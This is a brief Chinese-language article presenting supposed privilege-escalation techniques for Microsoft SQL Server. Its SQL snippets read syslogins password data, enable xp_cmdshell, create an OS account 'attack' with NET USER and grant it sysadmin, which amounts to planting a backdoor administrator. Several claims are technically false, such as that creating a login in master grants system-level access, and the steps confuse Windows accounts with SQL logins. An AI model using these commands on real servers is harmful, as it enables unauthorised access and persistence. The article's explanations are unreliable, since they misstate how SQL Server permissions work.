1. 前言
Microsoft SQL Server(MS SQL)是一款强大的关系型数据库管理系统,其功能之丰富,安全性之高广受用户的青睐。在数据安全方面,MS SQL采用了多种权限控制机制。但是,有时候,在特定情境下需要提升数据库权限,这就需要我们绕过SQL Server‘权限’机制。
2. 初步探索
2.1联表查询技巧提权
在某些情况下,你可以使用联表查询技巧提升你的权限。这种攻击通常针对拥有权限的用户及其权限范围内的所有数据进行。
例如,我们使用一个已知的拥有db_datareader的普通用户用户,设计一个查询语句。
SELECT t1.password,t2.name
FROM master.dbo.syslogins t1, chem.dbo.employees t2
WHERE t1.password !='' and t2.name ='admin';
这段代码所进行的是一个跨库查询,条件就是密码不为空的情况下,同时查询获得admin用户的名字。我们可以获得当前库的登录信息,得到了对其它库的访问与查询权限。当然,在生产环境下请勿使用,请遵循道德规范。
2.2 USE语句技巧提权
在 MS SQL 中,每个数据库都是独立的,对于指定的用户名和用户类型进行CREATE LOGIN和ALTER LOGIN时,需要在指定数据库中使用USE语句。
Use master;
Create login username with password='password';
这样我们创建的用户名,会瞬间具有了master顶层权限,能够直接访问系统级表。我们可以很轻松地获取到系统用户名和密码,也就相当于获得了系统的访问权限。
2.3xp_cmdshell技巧提权
xp_cmdshell是SQL Server的一个扩展存储过程,它可以帮助SQL Server管理员集成SQL Server与操作系统的方法。我们可以通过修改xp_cmdshell来提升权限。
在msdb数据库中,用户“public”被授予了“execute”权限,因此我们可以通过向msdb.dbo.sp_send_dbmail存储过程注入代码,以运行任意命令(除winsta0默认空间外)。
USE msdb
go
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell ', 1
RECONFIGURE
GO
我们使用xp_cmdshell创建一个新的管理员账户,用于绕过权限。
DECLARE @NETUSER varchar(MAX);
DECLARE @NETPASSWORD varchar(MAX);
DECLARE @CMD varchar(MAX);
SET @NETUSER = 'attack';
SET @NETPASSWORD = '1234';
SET @CMD = 'NET USER ' + @NETUSER + ' ' + @NETPASSWORD + ' /ADD';
EXEC master.dbo.xp_cmdshell @CMD;
EXEC master.dbo.sp_addsrvrolemember @loginame = N'attack', @rolename = N'sysadmin';
这样我们就成功地创建了一个管理员账户,用于绕过权限并提升访问级别。
3. 结论
MS SQL的权限提升非常依赖于具体环境,往往需要针对每个具体的情况制定不同的提升方案。使用提升技巧进行攻击容易引起数据泄露等问题。在实际操作过程中,请务必遵循良好的安全原则。